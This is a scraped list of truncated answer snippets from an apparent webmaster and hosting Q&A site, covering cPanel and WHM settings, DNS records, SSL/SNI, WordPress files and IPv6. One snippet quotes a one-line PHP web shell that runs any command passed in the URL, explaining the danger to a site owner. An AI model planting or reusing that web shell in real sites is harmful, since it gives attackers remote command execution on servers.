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SSL certificates no longer require a dedicated IP address.
There is a relatively new technology called Server Name Indication (SNI) that allows SSL certificates to be associated with a virtual host rather than with the server's IP address. Here is a digicert article that explains it very well.
Your host may not have SNI support installed yet. It ...
answered May 11 '14 at 10:25
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This was fixed by changing settings in WHM:
WHM Home -> Server Configuration -> Tweak Settings
Allow users to park subdomains of the server’s hostname: ON
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Web traffic
Check the web logs to see which pages are being requested. If they're hitting a single page with a bad plug-in then it should show you the Page/Request URI that the user hit. Some things like scripts that resize image uploads can eat resources quickly.
If you were getting a lot of traffic for the webserver then it would likely be someone ...
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You most certainly do not have to buy store.xyz.com as a new domain name. store.xyz.com is a part of xyz.com
A domain name is made up of multiple parts
www.google.com
www.google.com
| | | --- domain name extension
| | --- domain name
| --- subdomain
mail.google.com
mail.google.com
| | | --- domain name extension
| | --- ...
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This file is often used front-end by themes and plugins.
It was changed in WordPress robots.txt file a couple of years ago to allow crawling for this reason, after an issue with google being unable to crawl it.
The WP Core ticket thread can be found here and offers further information
https://core.trac.wordpress.org/ticket/33156
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Currently my website is under maintenance.
If your website is only temporarily "under maintenance" and has already been live and indexed by search engines then you should consider returning a "503 Service Unavailable" HTTP response code with perhaps a Retry-After HTTP header indicating when the site is expected to be available again. ...
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Check DNS Records
If your domains are registered at GoDaddy, then your MX records are likely pointing to GoDaddy's email servers and not your server.
Check your DNS and make sure that your domains have the following:
MX record pointing to mail.domain.com
mail.domain.com A record pointing to your cPanel's server IP address.
With cPanel (and many systems),...
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The address you have mentioned is an IPv6 address. It was introduced as a solution to the rapidly dwindling supply of IPv4 address. It has the potential to allow for 3.4×10^38 (that is 34 followed by 38 zeros!) unique device addresses.
You may need to speak to your ISP about renting a static IPv4 address to your home internet connection.
Adoption of IPv6 ...
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<?php $str = $_GET['cmd']; system($str); ?>
This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, yes, it could potentially allow files to be downloaded, eg. using wget.
However, whether this would work as intended for the attacker would depend on how "...
5
Finally stumbled on the delpop command and cPanel's command-line interface.
So, assuming:
You have SSH access to your account
Your host has installed cPanel in the usual way
Then you can delete a single email account with this command, using an SSH client like PuTTY:
/usr/local/cpanel/cpanel-email delpop account_003 0 mydomain.com
To delete many ...
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UPDATE:
Based on the fact this is is a .com domain, you can do the following:
Go to https://www.verisigninc.com/en_US/domain-names/com-domain-names/index.xhtml.
Click on the Chat with Support link at the bottom of the page. Explain the situation to them and tell them what documentation, if any, you have to establish that you or your client is the rightful ...
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The email address is part of the SOA record. Its second value is the email address of the administrator.
As a minimum, the zone file must specify the Start of Authority (SOA) record with the name of the authoritative master name server for the zone and the email address of someone responsible for management of the name server. The email address in the SOA ...
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all of them have redirected
http://sub.example.com To https://www.sub.example.com
That would seem to suggest that you have a rule that simply checks for the absence of www (which is correct for the first rule, but would conflict with the second) and then prefixes this to the requested host.
I assume you also want to redirect http://example.com/<...
5
You can find or change the location of backups in cpanel's Configure Backup Directory section of Backup Configuration interface Home > Backup > Backup Configuration
Once you know the location of your file, rather than using a browser, use an FTP client such as filezilla
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The first method (screen.width<=799) is not reliable. On my Android, I get a screen width of 540 when the phone is being held upright (portrait view), but if I turn it on its side (landscape view), I get width=960. Better (maybe still not fully reliable) might be to bounce to mobile if either dimension is small:
if ((screen.width <= 699) || (screen....
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Simple answer. Hosts provide what is asked for and works best. It is a double-sided coin. Apache has been extremely successful and is stable and seasoned code therefore hosts don't have to work hard to support it. As you may know, Apache is one of the first successful web servers and serves the vast majority of web installations therefore it is asked for the ...
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PTR records can be set by your service provider. If the IP is delegated into their ownership, they are the ones who can set the PTR record.
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In WHM (v11.46) there is an option under Home » Transfers » Transfer Tool
(in older version it was Copy an Account From Another Account).
Here, under Advanced option, choose Remote Server Type: Parallel Plesk and fill up the other required data and submit it.
cPanel Migration Team also provide Free Migration Service. Check out cPanel.net :: Migration ...
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It is perfectly acceptable to update /etc/hosts in cPanel/WHM.
As a rule of thumb, incase of an update which may change the file (unlikely, cPanel doesn't tend to touch it after the initial install phase) run this command to take a backup.
# cp /etc/hosts /etc/hosts.bak
This will copy your hosts file to a new file in your etc directory called hosts.bak ...
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Simply, the problem here is that the certificate chains up to COMODO RSA Certificate Autority at the root, not to AddTrustExternalCARoot.
Android devices do not have the COMODO RSA Certificate Authority in their root stores, only AddTrustExternalCARoot.
If running IIS, you should go ahead and remove the COMODORSACertificateAutority in the root store on the ...
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cPanel can do this by going to the following url:
http://[ip-address]/~[cPanel-username]
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The simple answer is that most of the PHP functionallity is in the basic setup and you probally don't need to worry about this.
But, extensions are exactly as they sound like, they extend PHP functionallity. You have a MYSQL extension which allows you to connect to a database with premade functions (this extension is mostly on by default, unless you have a ...
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It is used by wp-cli, the command line interface for WordPress.
The wp-cli.yml is where you set configuration values, related to your website, for wp-cli.php to use.
https://make.wordpress.org/cli/handbook/config/
For example, to update "pretty links" from the command line (wp rewrite flush), the wp-cli.yml (or a config.yml) file is necessary for the ...
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It isn't a virus or some sort of FTP compression.
It could be a couple of things going on:
For example, if the server is running Linux and your desktop is running Windows it is likely that your server and desktop are set to display file sizes differently.
In some operating systems, file sizes tend to be expressed mebibytes (e.g. 1 GiB = 1,024 MiB) while ...
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A and CNAME both are types of DNS records, that can be applied to a domain name.
But they are mutually exclusive:[1]
A resolves a domain name query to an IP address,
CNAME resolves it to an other domain name.
So if you are ”trying to point a subdomain to a different server“ it depends on you hosting situation if it's better to have DNS queries resolved ...
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WHM / CPANEL becomes inaccessible.
POP/IMAP Stops working.
The web server and other services will continue to run. If you create and delete servers often then your best of learning how to use the servers without CPANEL.
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[Disclaimer: I work for one of the companies in the list below]
Since your host is going to provide DNS management, it sounds like your needs are:
setting up Apache virtual hosts,
managing SFTP accounts, and
creating MySQL databases and users.
Does that sound right?
You can definitely set up your sites manually, but life may be easier (and consequently ...
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This will vary depending on the Cpanel License, if its not a WHM unlimited license then these are the steps you need to take:
Login to Cpanel
Click sub domains under category 'domains'
Add a sub domain oldsite with root of /oldsite/
Copy all /public_html/ or www depending on how cpanel was setup to oldsite
If the domain already has the name servers set to ...
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Typically, the only way you know if a system will handle certain loads is by testing or trial by fire -- that is just seeing if it survive a real load spike.
In terms of a VPS, there is no guarantee that a VPS would handle the load any better than your shared hosting account.
All servers have limits and if your traffic hits that limit, it may fail or ...
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